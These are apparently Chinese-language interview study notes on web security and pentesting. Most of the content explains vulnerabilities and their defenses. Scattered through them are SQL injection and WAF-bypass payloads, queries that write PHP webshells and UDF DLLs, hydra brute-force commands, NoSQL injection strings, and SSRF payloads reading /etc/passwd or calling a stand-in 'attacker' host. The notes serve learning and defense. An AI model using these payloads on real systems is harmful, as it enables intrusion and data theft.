技术面试问题
CTF
说一个印象深刻的CTF的题目
- Padding Oracle->CBC->密码学(RSA/AES/DSA/SM)
- CRC32
- 反序列化漏洞
sql二次注入
第一次进行数据库插入数据的时候,仅仅只是使用了 addslashes
或者是借助 get_magic_quotes_gpc
对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。 在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
交友网站,填写年龄处是一个注入点,页面会显示出与你相同年龄的用户有几个。使用and 1=1确定注入点,用order by探测列数,union select探测输出点是第几列,
- 暴库
group_concat(schema_name) from information_schema.schemata
- 暴表
group_concat(table_name) from information_schema.schemata where table_schema='hhh'
- 获取数据
concat(flag) from flag
修复:在从数据库或文件中取数据的时候,也要进行转义或者过滤。
Python
爬虫模块、框架、反爬虫机制(IP->代理池、验证码破解、UA)
并发(多线程、线程池、协程、三个程之间的区别)
进程是cpu资源分配的最小单位,线程是cpu调度的最小单位。以前进程既是资源分配也是调度的最小单位,后来为了更合理的使用cpu(实际上是cpu性能越来越好),才将资源分配和调度分开,就有了线程。线程是建立在进程的基础上的一次程序运行单位。
常用的标准库
functools
- itertools 迭代器
- count/cycle/repeat
- chain
- groupby 把迭代器中相邻的重复元素挑出来放在一起
- concurrent.futures
- ThreadPoolExecutor
- hashlib
- md5
- sha1
- sha256
- sha512
- logging
- sys.argv argparse读取命令行参数
- pickle 序列化工具
- re 正则
- collections 多种数据类型
- namedtuple
- OrderedDict
- Counter
- os 系统相关的函数
DJANGO和FLASK区别和使用
ORM
python安全工具编写/源码阅读
证明能力
- python安全工具开发
- python项目,记一下技术细节
密码学
RSA
DES
AES
国内SM系列
风险评估
流程
三要素
- 资产:资产价值
- 威胁:威胁主体、影响对象、出现频率、动机等
- 脆弱性:资产弱点的严重程度‘
代码审计
Fority SCA审计JAVA代码
fortify用到什么模块? 过滤器 自定义规则 生成报告
Seay审计PHP代码
源码阅读
应急响应具体流程
模型
PDCERF模型
- Prepare(准备):准备用来检测的工具和人
- Detection(检测):紧急事件监测:包括防火墙、系统、web服务器、IDS/WAF/SIEM中的日志,不正常或者是执行了越权操作的用户,甚至还有管理员的报告
- Containment(抑制):首先先控制受害范围,不要让攻击的影响继续蔓延到其他的IT资产和业务环境,切记不要直接一股脑的投入全部精力到封堵后门。紧接着要做的是去寻找根源原因,彻底解决,封堵攻击源,把业务恢复到更张水平
- Eradication(根除)
- Recover(恢复)
- Follow-Up(跟踪):根据各种监控去确定没有其他的攻击行为和攻击向量,紧接着就是开会反省此次事件,写报告,持续改进工作流程和工作缓解
实例
DDOS
DDOS是什么
分布式拒绝服务攻击(DDoS)是目前黑客经常采用而难以防范的攻击手段。DoS的攻击方式有很多种,最基本的DoS攻击就是利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务的响应。
DDOS攻击手段是在传统的DOS攻击基础之上产生的一类攻击方式。单一的DOS攻击一般是采用一对一方式的,当攻击目标CPU速度低、内存小或者网络带宽小等等各项性能指标不高它的效果是明显的。随着计算机与网络技术的发展,计算机的处理能力迅速增长,内存大大增加,同时也出现了千兆级别的网络,这使得DOS攻击的困难程度加大了——目标对恶意攻击包的“消化能力”加强了不少,例如你的攻击软件每秒钟可以发送3,000个攻击包,但我的主机与网络带宽每秒钟可以处理10,000个攻击包,这样一来攻击就不会产生什么效果这时侯分布式的拒绝服务攻击手段(DDOS)就应运而生了。
如果说计算机与网络的处理能力加大了10倍,用一台攻击机来攻击不再能起作用的话,攻击者使用10台攻击机同时攻击呢?用100台呢?DDOS就是利用更多的傀儡机来发起进攻,以比从前更大的规模来进攻受害者。通常,被攻击的服务器有以下症状:1、被攻击主机上有大量等待的TCP连接;2、网络中充斥着大量的无用的数据包,源地址为假;3、制造高流量无用数据,造成网络拥塞,使受害主机无法正常和外界通讯;4、利用受害主机提供的服务或传输协议上的缺陷,反复高速的发出特定的服务请求,使受害主机无法及时处理所有正常请求;5、严重时会造成系统死机
实例
我司网站www.catroot.cn的IP 223.223.223.223 被人DDOS攻击,流量达9G,并且机房流量清洗无效,所以把223.223.223.223封停,导致网站不能访问,请作出紧急预案。
- 网络设备设施
- 拼带宽,加大带宽,但是成本太高
- 使用硬件防火墙
- 选用高性能设备
- 抗D思想和方案
- 负载均衡
- 花钱买流量清洗服务
- CDN:web层,比如cc攻击
- 分布式集群防御
- 高防:防大部分攻击,udp、大型的cc攻击
- 预防为主
- 系统漏洞
- 系统资源优化:
- 过滤不必要的服务和端口
- 限制特定流量:检查访问来源做适当限制
主机被入侵
- 优先提取易消失的数据
- 内存信息
- 系统进程
free -m
- 路由信息
tracert
ifconfig
查看网卡流量,检查网卡的发送、接收数据情况NetHogs
实时监控带宽占用状况- 查看Linux系统日志
/var/log
ClamAV
杀毒软件
渗透测试流程相关
渗透测试流程
- 项目访谈
- 信息收集:whois、网站源IP、旁站、C段网站、服务器系统版本、容器版本、程序版本、数据库类型、二级域名、防火墙、维护者信息
- 漏洞扫描:Nessus, AWVS
- 手动挖掘:逻辑漏洞
- 验证漏洞
- 修复建议
- (如果有)基线检查/复验漏洞
- 输出报告
- 概述
- 测试基本信息
- 测试范围
- 测试时间
- 测试任务
- 测试过程
- 信息安全风险综合分析
- 整体风险分析
- 风险影响分析
- 系统安全分析
- 安全漏洞列表
- 解决方案建议
- 复测报告
渗透测试项目
用七八句话概括一下发现、验证漏洞细节、扮演角色、具体工作。 如果技术人员有兴趣会继续问,接着再引导到别处,让自己多说说细节。
渗透测试具体实施
17年OWASP TOP10
- 注入:sql,nosql,ldap,os
- 失效的身份认证:
- 敏感信息泄漏
- XXE XML外部实体
- 失效的访问控制:管理页面仅能管理员权限访问;越权漏洞
- 安全配置错误:页面错误信息,默认密码,使用已知漏洞的应用
- XSS
- 不安全的反序列化:一个PHP论坛使用PHP对象序列化来保存一个cookie,用户修改cookie即可伪造管理员登陆
- 使用含有已知漏洞的组件:比如structs2框架
- 不足的日志记录和监控:代码被删除,无法溯源;记录登陆失败次数;监控问题没被管理员响应
常见的Web安全漏洞
- SQL注入
- XSS
- 文件遍历、文件上传、文件下载
- 垂直越权、水平越权
- 逻辑漏洞
挖过什么逻辑漏洞
订单任意金额修改
相同价格增加订单数量,相同订单数量减少产品价格,订单价格设定为负数。
预防思路:
- 订单需要多重效验
- 订单数值较大的时候需要人工审核
验证码回传
漏洞一般发生在账号密码找回、账号注册、支付订单等。验证码发送途径一般为手机短信、邮箱邮件
预防思路:
- response数据内不包含验证码,验证方式主要采取后端验证,但是缺点是服务器的运算压力也会随之增加
- 如果要进行前端验证的话也可以,但是需要进行加密
未进行登陆凭证验证
有些业务的接口,因为缺少了对用户的登陆凭证的效验或者是验证存在缺陷,导致黑客可以未经授权访问这些敏感信息甚至是越权操作。比如后台页面、订单ID枚举、敏感信息可下载、没验证ID或cookie验证导致越权。
预防思路:
- 对敏感数据存在的接口和页面做cookie,ssid,token或者其它验证
接口无限制枚举
- 某电商登陆接口无验证导致撞库
- 某招聘网验证码无限制枚举
- 某快递公司优惠券枚举
- 某电商会员卡卡号枚举
预防思路:
在输入接口设置验证,如token,验证码等。如果设定验证码,最好不要单纯的采取一个前端验证,最好选择后端验证。如果设定token,请确保每个token只能采用一次,并且对token设定时间参数。
注册界面的接口不要返回太多敏感信息,以防遭到黑客制作枚举字典。
验证码不要用短数字,尽量6位以上,最好是以字母加数字进行组合,并且验证码需要设定时间期限。
优惠券,VIP卡号请尽量不要存在规律性和简短性,并且优惠券最好是以数字加字母进行组合。
cookie设置存在缺陷
- Cookie的效验值过于简单。有些web对于cookie的生成过于单一或者简单,导致黑客可以对cookie的效验值进行一个枚举.
- cookie存在被盗风险,即用户重置密码后使用老cookie依然可以通过验证
- 用户的cookie数据加密应严格使用标准加密算法,并注意密钥管理。不能采取简单的base64等算法
- 越权:平行越权:权限类型不变,权限ID改变;垂直越权:权限ID不变,权限类型改变;交叉越权:即改变ID,也改变权限
预防思路
- cookie中设定多个验证,比如自如APP的cookie中,需要sign和ssid两个参数配对,才能返回数据。
- 用户的cookie数据加密应严格使用标准加密算法,并注意密钥管理。
- 用户的cookie的生成过程中最好带入用户的密码,一旦密码改变,cookie的值也会改变。
- cookie中设定session参数,以防cookie可以长时间生效。
- 根据业务不同还有很多方法
找回密码功能缺陷
- 单纯读取内存值作为用户凭证
- 电商系统加车、下单漏洞
你常用的渗透工具有哪些,最常用的是哪个?
扫描:Nessus,AWVS,Nikto
SQLmap
常用参数
- -u 单个URL -m xx.txt 多个URL
- -d "mysql://user:password@10.10.10.137:3306/dvwa" 作为服务器客户端,直接连接数据库
- --data post/get都适用
- -p 指定扫描的参数
- -r 读取文件
- -f 指纹信息
- --tamper 混淆脚本,用于应用层过滤
- --cookie --user-agent --host等等http头的修改
- --threads 并发线程 默认为1
- --dbms MySQL<5.0> 指定数据库或版本
-
- –level=LEVEL 执行测试的等级(1-5,默认为 1)
- –risk=RISK 执行测试的风险(0-3,默认为 1) Risk升高可造成数据被篡改等风险
- –current-db / 获取当前数据库名称
- –dbs 枚举数据库管理系统数据库
- –tables 枚举 DBMS 数据库中的表
- –columns 枚举 DBMS 数据库表列
- -D DB 要进行枚举的数据库名
- -T TBL 要进行枚举的数据库表
- -C COL 要进行枚举的数据库列
- -U USER 用来进行枚举的数据库用户
常用的tamper
本地:sqlmap-tamper分类.xlsx
- base64encode.py #转为b64编码
- charencode.py url编码
- chardoubleencode.py 双URL编码
- unmagicquotes.py 宽字节
- randomcomments.py 用/**/分割SQL关键字
- space2plus.py space2comment.py space2xxxx.py 替换空格为xx
Nmap
- nmap hostname/ip或者多个ip或者子网192.168.123.*
- -iL ip.txt 扫描ip.txt的所有ip
- -A 包含了-sV,-O,探测操作系统信息和路由跟踪。一般不用,是激烈扫描
- -O 探测操作系统信息
- -sV 查找主机服务版本号
- -sA 探测该主机是否使用了包过滤器或防火墙
- -sS 半开扫描,一般不会记入日志,不过需要root权限。
- -sT TCP connect()扫描,这种方式会在目标主机的日志中记录大批的链接请求以及错误信息。
- -sP ping扫描,加上这个参数会使用ping扫描,只有主机存活,nmap才会继续扫描,一般最好不加,因为有的主机会禁止ping,却实际存在。
- -sN TCP空扫描
- -F 快速扫描
- -Pn 扫描之前不使用ping,适用于防火墙禁止ping,比较有用。
- -p 指定端口/端口范围
- -oN 将报告写入文件
- -v 详细信息
- -T<0-5> 设定速度
Nmap还可以用到爆破等一些脚本
- --script all 使用所有脚本
- --script=sql.injection.nse sql注入
- --script="smb*" 扫smb系列
Metasploit
使用内置模块。HR:常用的模块有哪些? tcp反向链接 msfvenom
Hydra
密码爆破工具,FTP,MSSQL,MYSQL,POP3,SSH,rdp,
- hydra IP -l loginname -P pass.txt PROTROCL
- hydra 127.0.0.1 -l root -P pass.txt ssh
kali信息收集工具
- dig
- whois
- host:查询dns服务器
- nslookup
- 域名枚举:fierse -dns
- maltego
- onesixtyone
流量分析WireShark
CTF
描述一个你深入研究过的CVE或POC(ms17-010/最新的CVE)
数据库注入
MySQL面试题
MySQL存储引擎?
- InnoDB:主流的存储引擎。支持事务、支持行锁、支持非锁定读、支持外键约束
- 为MySQL提供了具有提交、回滚和崩溃恢复能力的事物安全(ACID兼容)存储引擎。InnoDB锁定在行级并且也在 SELECT语句中提供一个类似Oracle的非锁定读。这些功能增加了多用户部署和性能。在SQL查询中,可以自由地将InnoDB类型的表和其他MySQL的表类型混合起来,甚至在同一个查询中也可以混合
- InnoDB存储引擎为在主内存中缓存数据和索引而维持它自己的缓冲池。InnoDB将它的表和索引在一个逻辑表空间中,表空间可以包含数个文件(或原始磁盘文件)。这与MyISAM表不同,比如在MyISAM表中每个表被存放在分离的文件中。InnoDB表可以是任何尺寸,即使在文 件尺寸被限制为2GB的操作系统上
- InnoDB支持外键完整性约束,存储表中的数据时,每张表的存储都按主键顺序存放,如果没有显示在表定义时指定主键,InnoDB会为每一行生成一个6字节的ROWID,并以此作为主键
- MyISAM:访问速度快,不支持事务,逐渐被淘汰
- MEMORY:BTREE索引或者HASH索引。将表中数据放在内存中,并发性能差。
information_schema
用的是该引擎 - MERGE、Archive等等不常用的
什么是事务?
事务是一组原子性的SQL语句或者说是一个独立的工作单元,如果数据库引擎能够成功对数据库应用这组SQL语句,那么就执行,如果其中有任何一条语句因为崩溃或其它原因无法执行,那么所有的语句都不会执行。也就是说,事务内的语句,要么全部执行成功,要么全部执行失败。 举个银行应用的典型例子:
假设银行的数据库有两张表:支票表和储蓄表,现在某个客户A要从其支票账户转移2000元到其储蓄账户,那么至少需求三个步骤:
a.检查A的支票账户余额高于2000元;
b.从A的支票账户余额中减去2000元;
c.在A的储蓄账户余额中增加2000元。
这三个步骤必须要打包在一个事务中,任何一个步骤失败,则必须要回滚所有的步骤,否则A作为银行的客户就可能要莫名损失2000元,就出问题了。这就是一个典型的事务,这个事务是不可分割的最小工作单元,整个事务中的所有操作要么全部提交成功,要么全部失败回滚,不可能只执行其中一部分,这也是事务的原子性特征。
读锁和写锁
读锁是共享的,即相互不阻塞的,多个客户在同一时刻可以读取同一资源,互不干扰。写锁是排他的,即一个写锁会阻塞其它的写锁和读锁,只有这样,才能确保给定时间内,只有一个用户能执行写入,防止其它用户读取正在写入的同一资源。写锁优先级高于读锁。
MySQL的索引
索引是帮助MySQL高效获取数据的数据结构。MYISAM和InnoDB存储引擎只支持BTree索引;MEMORY和HEAP储存引擎可以支持HASH和BTREE索引。
ORDER BY在注入的运用
GPC是什么?GPC之后怎么绕过?
如果magic_quotes_gpc=On
,PHP解析器就会自动为post、get、cookie过来的数据增加转义字符“”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符(认为是php的字符)引起的污染。
Mysql一个@和两个@什么区别
- @为用户变量,使用
SET @var1=1
赋值 - @@ 为系统变量 ,包括全局变量
show global variables \G;
和会话变量show session variables \G;
注入/绕过常用的函数
- 基于布尔SQL盲注
left(database(),1)>'s'
ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+
ascii(substr((select database()),1,1))=98
ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23
regexp
正则注入select user() regexp '^[a-z]';
select user() like 'ro%'
- 基于报错的SQL盲注
Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;
MySQL存储过程
各种写shell的问题
- 写shell用什么函数?
select '<?php phpinfo()> into outfile 'D:/shelltest.php'
dumpfile
file_put_contents
- outfile不能用了怎么办?
select unhex('udf.dll hex code') into dumpfile 'c:/mysql/mysql server 5.1/lib/plugin/xxoo.dll';
可以UDF提权 https://www.cnblogs.com/milantgh/p/5444398.html - dumpfile和outfile有什么不一样?outfile适合导库,在行末尾会写入新行并转义,因此不能写入二进制可执行文件。
- sleep()能不能写shell?
- 写shell的条件?
- 用户权限
- 目录读写权限
- 防止命令执行:
disable_functions
,禁止了disable_functions=phpinfo,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
,但是可以用dl扩展执行命令或者ImageMagick漏洞 https://www.waitalone.cn/imagemagic-bypass-disable_function.html - open_basedir: 将用户可操作的文件限制在某目录下
注入类型
- 基于报错注入
- 基于布尔的注入,根据返回页面判断条件真假的注入
- 基于时间的盲注,不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
- 宽字节注入
- 联合查询,可以使用 union 的情况下的注入。
- 堆查询注入,可以同时执行多条语句的执行时的注入。
SQL注入的原理
通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。通常未经检查或者未经充分检查的用户输入数据或代码编写问题,意外变成了代码被执行。
过waf
- 确定waf类型,狗、盾、神、锁、宝、卫士
- 使用注释符号或者特殊符号或者多个特殊符号重复
- #
- --
- -- - //5.6.12特性,需要加空格
- --+
- //
- /**/ //c风格注释
- /**//**/ //多个注释
- /*letmetest*/
- ;
-
- # 科学记数法
- id=0e1union select
-
- # 空白字符
- SQLite3 0A 0D 0C 09 20
- MySQL5 09 0A 0B 0C 0D A0 20
- PosgresSQL 0A 0D 0C 09 20
- Oracle 11g 00 0A 0D 0C 09 20
- MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
- 使用sql内置函数或者关键字
- # 常用
- extractvalue
- updatexml 报错注入
- UPDATEXML (XML_document, XPath_string, new_value);
- or updatexml(1, concat(0x7e, (version()), 0x7e), 0);
- > select * from users where id = 1 and updatexml(1, concat(0x7e, (version()), 0x7e), 0);
- > version() database() (SELECT concat(column_name) FROM information_schema.columns WHERE table_name='users' limit 0,1
-
- floor()
- ceil()
- Mid(version(),1,1)
- Substr(version(),1,1)
- Substring(version(),1,1)
- concat(version(),'|',user());
- concat_ws('|',1,2,3)
- Char(49)
- Hex('a')
- Unhex(61)
- 过滤了逗号
- (1)limit处的逗号:
- limit 1 offset 0
- (2)字符串截取处的逗号
- mid处的逗号:
- mid(version() from 1 for 1)
- 利用容器特性,比如iis+asp的环境可能会吞掉%(f%rom->from)造成注入,或者iis支持unicode解析,当我们请求的url存在unicode字符串的话iis会自动将其转换,但waf可能不会拦截造成注入
- 畸形协议/请求。asp/asp.net在解析请求的时候,允许application/x-www-form-urlencoded的数据提交方式;php+apache解析协议除了get/post外随便定义协议也可能过
- %0a换行
- 多次URL编码,waf的一根筋过滤
- unlencode
- base64
- json
- binary
- querystring
- htmlencode
- unicode
- php serialize
- http参数污染,
id=1&id=2&id=3
id=1,2,3
如何进行SQL注入的防御
关闭应用的错误提示
加waf
对输入进行过滤
限制输入长度
限制好数据库权限,drop/create/truncate等权限谨慎grant
预编译好sql语句,python和Php中一般使用?作为占位符。这种方法是从编程框架方面解决利用占位符参数的sql注入,只能说一定程度上防止注入。还有缓存溢出、终止字符等。
数据库信息加密安全(引导到密码学方面)。不采用md5因为有彩虹表,一般是一次md5后加盐再md5
清晰的编程规范,结对/自动化代码 review ,加大量现成的解决方案(PreparedStatement,ActiveRecord,歧义字符过滤, 只可访问存储过程 balabala)已经让 SQL 注入的风险变得非常低了。
具体的语言如何进行防注入,采用什么安全框架
作者:没啥意思 链接:https://www.zhihu.com/question/22953267/answer/23222069 来源:知乎 著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
SQL注入问题既不能“靠用户(开发者也是用户)的自觉去避免”,也不能完全脱离用户(开发者也是用户)而指望数据库层面去避免。对于那些不了解SQL注入漏洞细节或不关心SQL注入漏洞或没精力去关心SQL注入漏洞的工程师,你要给他们一条尽可能简单可行透明的方案来避免SQL注入漏洞,告诉他这样写就可以了,这就是安全框架;然后告诉他或者让他的老大告诉他你必须这样写,这就是安全编码规范;然后你有手段在他没有这样写的时候能够检查出来(这比检查出漏洞要容易)并推动他改正,这就是白盒检查。
我们现在的互联网产品SQL注入漏洞仍然层出不穷,并不是这套思路有问题,相反恰恰是这套思路没有完善。一方面是框架方案本身不完善,以SQL注入漏洞为例,参数化是防SQL注入框架级方案的重要部分,但仅靠参数化没法很好满足开发过程中一些常见需求,如逗号分割的id列表问题、排序标记的问题等等(其实这些问题真要用参数化的方案解决也可以),使得开发更愿意在这些地方使用非参数化或伪参数化的方法(比如拼接SQL片段后再把整个片段当作参数扔进去exec)。这些问题在参数化的基础上,再加以改进,仍然守着拼接SQL片段时进行强类型转换的思路,仍然是能很好解决的,也就是继续完善参数化方案的问题,而不是看上去那样“参数化解决不了问题”。另一方面,安全编码规范的制定、培训、流程建设和实施保证上也做得远远不到位,开发leader们更希望后面的数据库或者前面的安全防御上能有手段去解决SQL注入问题,对于安全工程师来说,设置并维护几个特征串、语法分析场景也远比做那些安全框架、编码规范、白盒扫描来得要轻松实在,彼此在心照不宣中度过今天,自然不能指望明天能彻底踏实。
mysql的网站注入,5.0以上和5.0以下有什么区别?
10年前就出了5.0,现在都到5.7了,没啥意义的问题
- 5.0以下没有information_schema这个系统表,无法列表名等,只能暴力跑表名。
- 5.0以下是多用户单操作,5.0以上是多用户多操做。
SQL和NoSQL的区别
SQL关系型数据库,NoSQL(Not only SQL)非关系型数据库
SQL优点
关系型数据库是指用关系数学模型来表示的数据,其中是以二维表的形式描述数据。
- 结构稳定,不易修改,常用联表查询
- 查询能力高,可以操作很复杂的查询
- 一致性高,处理数据会使用封锁保证数据不被改变
- 表具有逻辑性,易于理解
SQL缺点
- 不适用高并发读写
- 不适用海量数据高效读写
- 层次多,扩展性低
- 维护一致性开销大
- 涉及联表查询,复杂,慢
NoSQL优点
采用键值对存储数据
- 由于数据之间没有关系,所以易扩展,也易于查询
- 数据结构灵活,每个数据都可以有不同的结构
- 由于降低了一致性的要求,所以查询速度更快
比较
非关系型数据库的产生是因为随着网站的进化,并发性增加,扩展性高,一致性要求降低。这样关系型数据库最重要的一致性维护就显得有点多余,并且消耗着性能。因此有了非关系型数据库,它可以算是关系型数据库的一种弱化的结果,在海量数据存储和查询上更胜一筹。
两种数据库没有好坏之分,只是使用的环境不一样。关系型数据库可以说是更严谨的,可靠性更强的数据库,在对于数据精度要求高的环境,比如说银行系统这样自然是像mysql这样的数据库适合。非关系型数据库胜在处理大数据的速度,但是对于数据的准确度没有那么高,对于操作量大的环境比如当前大部分web2.0的网站更加适用一些。
MongoDB注入方式
利用正则:找到y开头的name db.items.find({name: {$regex: "^y"}})
一些payload
?login[$regex]=^&password[$regex]=^
?login[$not][$type]=1&password[$not][$type]=1
XSS CSRF XXE
CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?
XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。修复方式:对字符实体进行转义、使用HTTP Only来禁止JavaScript读取Cookie值、输入时校验、浏览器与Web应用端采用相同的字符编码。
CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer.
XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。
CSRF、SSRF和重放攻击有什么区别?
- CSRF是跨站请求伪造攻击,由客户端发起
- SSRF是服务器端请求伪造,由服务器发起
- 重放攻击是将截获的数据包进行重放,达到身份认证等目的
啥是同源策略,跨域有几种方式?
http://www.ruanyifeng.com/blog/2016/04/same-origin-policy.html
浏览器安全的基石是"同源政策",目的是为了保证用户的信息安全,防止恶意网站窃取数据,避免cookie共享。同源含义是协议、域名、端口相同的两个网页才可以共用cookie。目前如果非同源,有三种行为收到限制: - Cookie、LocalStorage 和 IndexDB 无法读取。 - DOM 无法获得。 - AJAX 请求不能发送
如何规避同源策略?
JSONP
向服务器请求json数据回调,一般请求URL会加上&callback=xx
- foo({
- "ip": "8.8.8.8"
- });
由于<script>
元素请求的脚本,直接作为代码运行。这时,只要浏览器定义了foo函数,该函数就会立即调用。作为参数的JSON数据被视为JavaScript对象,而不是字符串,因此避免了使用JSON.parse的步骤。
JSONP的劫持
防御:
- 验证 JSON 文件调用的来源( Referer ),但是Referer 过滤(正则)不严谨、空 Referer也不行
- 随机token
WebSocket
WebSocket是一种通信协议,使用ws://(非加密)和wss://(加密)作为协议前缀。该协议不实行同源政策,只要服务器支持,就可以通过它进行跨源通信。
CORS(重点)
CORS是跨源资源分享(Cross-Origin Resource Sharing)的缩写。它是W3C标准,是跨源AJAX请求的根本解决方法。相比JSONP只能发GET请求,CORS允许任何类型的请求。 CORS请求大致和ajax请求,但是在头信息中加上了Origin字段表明请求来自哪个源。如果orgin是许可范围之内的话,服务器返回的响应会多出Acess-Control-Allow-*
的字段
与JSONP的比较
CORS与JSONP的使用目的相同,但是比JSONP更强大。
JSONP只支持GET请求,CORS支持所有类型的HTTP请求。JSONP的优势在于支持老式浏览器,以及可以向不支持CORS的网站请求数据。
DOM XSS与反射XSS有啥不同,给你10s,如何快速判断一个XSS是否是DOM XSS?
存储型XSS:你发送一次带XSS代码的请求,以后这个页面的返回包里都会有XSS代码;
反射型XSS:你发送一次带XSS代码的请求,只能在当前返回的数据包中发现XSS代码;
DOM型XSS:你发送一次带XSS代码的请求,在返回包里压根儿就找不到XSS代码的影子;
CSP策略
https://www.zhihu.com/question/21979782 浏览器内容安全策略,减少xss攻击。
SSRF漏洞原理是什么?利用时有哪些伪协议?
secpulse.com/archives/65832.html
漏洞原理
利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务。
ssrf用处
- 探测内网信息,用协议探
ftp%26ip={ip}%26port={port}
- 攻击内网或本地其他服务
- 穿透防火墙
漏洞处
- 能够对外发起网络请求的地方
- 请求远程服务器资源的地方
- 数据库内置功能
- 邮件系统
- 文件处理
- 在线处理工具
举几个例子:
- 在线识图,在线文档翻译,分享,订阅等,这些有的都会发起网络请求。
- 根据远程URL上传,静态资源图片等,这些会请求远程服务器的资源。
- 数据库的比如mongodb的copyDatabase函数,这点看猪猪侠讲的吧,没实践过。
- 邮件系统就是接收邮件服务器地址这些地方。
- 文件就找ImageMagick,xml这些。
- 从URL关键字中寻找,比如:source,share,link,src,imageurl,target等。
绕过姿势
http://example.com@127.0.0.1
- 利用IP地址的省略写法绕过,[::]绕过localhost
- DNS解析 http://127.0.0.1.xip.io/ 可以指向任意ip的域名:xip.io
- 利用八进制IP地址绕过,利用十六进制IP地址,绕过利用十进制的IP地址绕过
利用协议
接受ua为curl的时候,支持的协议有
使用curl -v http://xx.com/ssrf.php?url=sxxx
- file://
- ssrf.php?url=file:///etc/password
- Dict://
- dict://<user-auth>@<host>:<port>/d:<word>
- ssrf.php?url=dict://attacker:11111/
- SFTP://
- ssrf.php?url=sftp://example.com:11111/
- TFTP://
- ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
- LDAP://
- ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
- Gopher://
漏洞修复
https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html
检查是否为内网IP地址 绕过方法: 利用八进制IP地址绕过 利用十六进制IP地址绕过 利用十进制的IP地址绕过 利用IP地址的省略写法绕过 最好的做法:IP地址转换为整数再进行判断
获取真正请求的host
如何正确的获取用户输入的URL的Host? 最常见的就是,使用http://233.233.233.233@10.0.0.1:8080/、http://10.0.0.1#233.233.233.233这样的URL,让后端认为其Host是233.233.233.233,实际上请求的却是10.0.0.1。这种方法利用的是程序员对URL解析的错误,有很多程序员甚至会用正则去解析URL。使用urllib.parse可以解析真正的hostname
只要Host只要不是内网IP即可吗? host可能为ip,可能为域名,利用xip.io绕过。方法:判断是否为http协议,获取url的host,再解析该host,将解析到的ip再进行检查
只要Host指向的IP不是内网IP即可吗? 不一定,可能会30x跳转
归纳 解析目标URL,获取其Host 解析Host,获取Host指向的IP地址 检查IP地址是否为内网IP 请求URL 如果有跳转,拿出跳转URL,执行1
在浏览器端,Referer可以篡改吗?
通过插件修改,一般抓包修改
xss盲打到内网服务器的利用
xss代码层防御
文件上传下载遍历漏洞
原理
- 容器漏洞,解析漏洞
修复方案
文件包含漏洞
类型
- 本地文件包含
- 远程文件包含 :即加载远程文件,在
php.ini
中开启allow_url_include
、allow_url_fopen
选项。开启后可以直接执行任意代码。
PHP文件包含函数
include()
:使用此函数,只有代码执行到此函数时才将文件包含进来,发生错误时只警告并继续执行。inclue_once()
:功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。require()
:使用此函数,只要程序执行,立即调用此函数包含文件,发生错误时,会输出错误信息并立即终止程序。require_once()
:功能和前者一样,区别在于当重复调用同一文件时,程序只调用一次。
利用
- 读取敏感文件
- 远程包含shell
- 图片上传并包含图片shenll
- 使用伪协议
- 包含日志文件GetShell
- 截断包含
修复方案
- 禁止远程文件包含
allow_url_include=off
- 配置
open_basedir=指定目录
,限制访问区域。 - 过滤
../
等特殊符号 - 修改Apache日志文件的存放地址
- 开启魔术引号
magic_quotes_qpc=on
- 尽量不要使用动态变量调用文件,直接写要包含的文件。
web框架漏洞弱点
服务端注入之Flask框架中服务端模板注入问题
HTTP协议
TCP三次握手四次挥手
三次握手
- 客户端 syn 发送到服务端,变成 SYN_SENT 状态
- 服务端 ack=syn+1 回传syn到客户端,变成SYN_RECV状态
- 客户端 ack=syn+1, 变成ESTABLISHED状态,传输给服务端
- 服务端收到ACK后变成ESTABLISHED状态,建立连接
SYN标志位为表示请求连接,ACK表示确认
四次挥手
客户端=主动关闭方
- 客户端FIN->服务端
- 服务端ACK=FIN+1->客户端,服务端到客户端的连接关闭
- 服务端FIN->客户端
- 客户端ACK=FIN+1->服务端
假设Client端发起中断连接请求,也就是发送FIN报文。Server端接到FIN报文后,意思是说"我Client端没有数据要发给你了",但是如果你还有数据没有发送完成,则不必急着关闭Socket,可以继续发送数据。所以你先发送ACK,"告诉Client端,你的请求我收到了,但是我还没准备好,请继续你等我的消息"。这个时候Client端就进入FIN_WAIT状态,继续等待Server端的FIN报文。当Server端确定数据已发送完成,则向Client端发送FIN报文,"告诉Client端,好了,我这边数据发完了,准备好关闭连接了"。Client端收到FIN报文后,"就知道可以关闭连接了,但是他还是不相信网络,怕Server端不知道要关闭,所以发送ACK后进入TIME_WAIT状态,如果Server端没有收到ACK则可以重传。“,Server端收到ACK后,"就知道可以断开连接了"。Client端等待了2MSL后依然没有收到回复,则证明Server端已正常关闭,那好,我Client端也可以关闭连接了。Ok,TCP连接就这样关闭了!
MSL=最大段寿命=TTL=最大生存时间=255s
四层模型
